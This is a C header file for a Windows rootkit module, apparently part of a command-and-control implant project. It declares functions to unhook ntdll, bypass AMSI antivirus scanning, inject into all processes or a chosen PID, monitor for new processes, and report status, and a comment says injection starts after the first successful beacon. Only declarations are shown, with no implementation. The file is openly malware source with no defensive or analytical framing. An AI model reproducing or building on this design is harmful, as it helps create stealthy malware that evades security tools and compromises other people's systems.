41 lines
1.0 KiB
C
41 lines
1.0 KiB
C
|
#ifndef ZERIN_ROOTKIT_H
|
||
|
|
#define ZERIN_ROOTKIT_H
|
||
|
|
|
||
|
|
#include "config.h"
|
||
|
|
#include <stdint.h>
|
||
|
|
|
||
|
|
#ifdef _WIN32
|
||
|
|
|
||
|
|
// Initialize rootkit subsystems (unhook, AMSI bypass — no injection yet)
|
||
|
|
int rootkit_init(zerin_config_t *cfg);
|
||
|
|
|
||
|
|
// Start injection (call AFTER first successful beacon)
|
||
|
|
int rootkit_start_injection(void);
|
||
|
|
|
||
|
|
// Cleanup rootkit state
|
||
|
|
void rootkit_cleanup(void);
|
||
|
|
|
||
|
|
// Individual subsystems
|
||
|
|
int rootkit_unhook_ntdll(void);
|
||
|
|
int rootkit_bypass_amsi(void);
|
||
|
|
|
||
|
|
// Injection engine
|
||
|
|
int rootkit_inject_all(void);
|
||
|
|
int rootkit_inject_pid(uint32_t pid);
|
||
|
|
int rootkit_start_monitor(void);
|
||
|
|
void rootkit_stop_monitor(void);
|
||
|
|
|
||
|
|
// Shared memory listener (NtResumeThread IPC — primary new-process mechanism)
|
||
|
|
int rootkit_start_shm_listener(void);
|
||
|
|
void rootkit_stop_shm_listener(void);
|
||
|
|
|
||
|
|
// Status reporting
|
||
|
|
int rootkit_get_status(char *buf, size_t buf_size);
|
||
|
|
|
||
|
|
// State tracking
|
||
|
|
extern volatile LONG g_rootkit_active;
|
||
|
|
extern volatile LONG g_rootkit_injected_count;
|
||
|
|
|
||
|
|
#endif // _WIN32
|
||
|
|
#endif // ZERIN_ROOTKIT_H
|